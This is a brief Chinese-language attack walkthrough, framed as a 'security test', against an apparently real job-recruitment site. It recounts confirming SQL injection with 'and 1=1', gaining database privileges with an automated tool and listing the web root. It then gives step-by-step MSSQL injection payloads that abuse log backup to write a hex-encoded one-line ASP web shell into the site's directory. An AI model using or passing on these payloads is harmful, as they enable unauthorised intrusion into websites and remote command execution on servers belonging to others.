安全检测一个人才网站

用and 1=1 检测一下....

出现不同...

直接交给啊D检测....

出来了 DB 权限....

DB权限都剩去了找后台 找管理员的帐户和密码

但是必须要有列目录的权限...

运气还不错....

很快网站的跟目录列出来了...

还有很多其他站....

D:\xianrencai.com\

我们来备份...

---------------
手工备份...
’;alter database Quester set RECOVERY FULL-- 这里的库名就是啊D检测出来的库名 改下库名
’;create table cmd (a image)--
’;backup log Quester to disk = ’e:\cmd’ with init--
’;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 其实这个是<%execute(request("a"))%>的16进制码
’;backup log Quester to disk = ’D:\xxxxxx.asp’--
---------------
备份时候一定注意 数据的地方 就是 我们 用啊D检测时 出现的 库 wishcn